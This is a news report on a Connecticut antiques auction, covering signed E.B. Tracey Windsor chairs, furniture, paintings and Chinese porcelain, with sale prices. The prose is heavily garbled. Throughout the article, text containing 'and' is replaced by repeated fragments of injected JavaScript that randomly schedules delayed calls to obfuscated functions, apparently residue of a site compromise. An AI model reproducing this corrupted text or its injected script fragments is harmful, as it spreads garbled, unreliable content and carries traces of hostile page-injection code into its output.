By: David S. Smith

WINDSOR, CONN. — “All of the Tracey Windsor chairs came from the Elizabeth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Edward Wallace Collection. They owned the Tracey house that was dismantled in Lisbon andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and they had it reconstructed in Meriden about 30 years ago,” stated auctioneer Ed Nadeau prior to the gallery’s American Auction on October 25. “This is probably the largest offering of Tracey’s chairs at a single auction,” stated the auctioneer.

Eighteen examples were offered in the auction. And while in years past a signed E.B. Tracey chair would elicit a large crowd of bidders andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and strong prices, many of the chairs went out at extremely reasonable prices. Such was the case with two assembled sets of five marked bowbacks bringing $876 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $1,250. Yes, those are prices for the sets of five chairs — equating to $172 each for the first group andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $250 each for the second. These sort of prices caused more than one person attending the auction to wonder when the millennium buyers are going to wake up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and realize the beauty andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and value of these prime furnishings. “There used to be a time when Tracey chairs would sell individually for what we have the entire sets estimated for,” said the auctioneer with a grimace.

The top lot of the signed Tracey chairs was a signed sack back Windsor armchair in old red paint with nicely splayed legs. Brisk bidding saw the lot reach $2,457. A signed Tracey writing armchair in black paint realized $2,040, while another sack back in old paint went out at $1,755. A continuous arm Windsor marked by A.D. Allen was another good buy, selling at $702.

The top lot of the American furniture came as a lift top blanket box in yellow paint with red andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and green geometric designs was chased by folk art dealers to a selling price of $5,557. An attractive Queen Anne maple highboy brought $4,680 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an early Pilgrim Century tri-corner chair, illustrated in Wallace Nutting’s book, finished at $5,100.

A large Federal girandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andole gilt mirror with serpents clutching the candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andle holders went for $10,530.

A large group of Seventeenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Eighteenth Century brass candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andlesticks had been consigned from a single private collection. The group sold for prices ranging from $351 to $1,404; the proceeds were donated to the Virginia Historical Society.

The top lot of a large selection of paintings to cross the block was a painting of sheep in a mountainous landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape by William Watson that realized $6,000. Another lot to attract serious attention was an Antonio Jacobsen seascape featuring a clipper ship flying the American flag that brought $5,000. A pleasing scene by Anthony Thieme titled “Fall Sunlight on Prospect Street, Newport” sold between estimates at $3,744.

Oriental items included a Chinese famille rose peach vase that soared past the $1/3,000 estimate to sell at $12,285. A pair of baluster vases with black ground andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and scrolling flowering tree decoration brought $3,159, while a pair of blue andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and white cups with seal mark on the base doubled estimates at $3,510.

All prices reported include the buyer’s premium. For further information, 860-246-2444 or www.nadeausauction.com.